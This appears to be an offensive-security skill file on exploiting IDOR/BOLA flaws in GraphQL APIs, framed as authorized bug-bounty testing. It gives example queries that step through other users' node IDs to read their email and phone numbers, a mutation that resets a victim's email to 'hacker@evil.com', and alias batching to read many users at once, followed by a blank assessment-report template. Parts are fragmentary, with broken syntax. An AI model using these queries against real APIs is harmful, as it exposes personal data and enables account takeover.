Identify and exploit Insecure Direct Object Reference (IDOR) or Broken Object Level Authorization (BOLA) vulnerabilities specifically within GraphQL APIs. This skill focuses on manipulating node IDs, changing variables, and utilizing aliases to access unauthorized data.
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# Concept: ```
### Phase 2: Intercepting & Modifying Queries
```graphql
# query getUser {
user(id: "VXNlcjoxNTA=") {
id
email
personalPhone
}
}
# query getUser {
user(id: "VXNlcjoxNTE=") {
id
email
personalPhone
}
}
# mutation {
updateUserProfile(input: {
userId: "VXNlcjoxNTE=",
email: "hacker@evil.com"
}) {
success
}
}
# query {
user1: user(id: "1") { email }
user2: user(id: "2") { email }
user3: user(id: "3") { email }
}
flowchart TD
A[Identify Node ] --> B{Node ID modified ]}
B -->|Yes| C[Check Response ]
B -->|No| D[Check Context ]
C --> E[Verify Data ]
Graphql Idor — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
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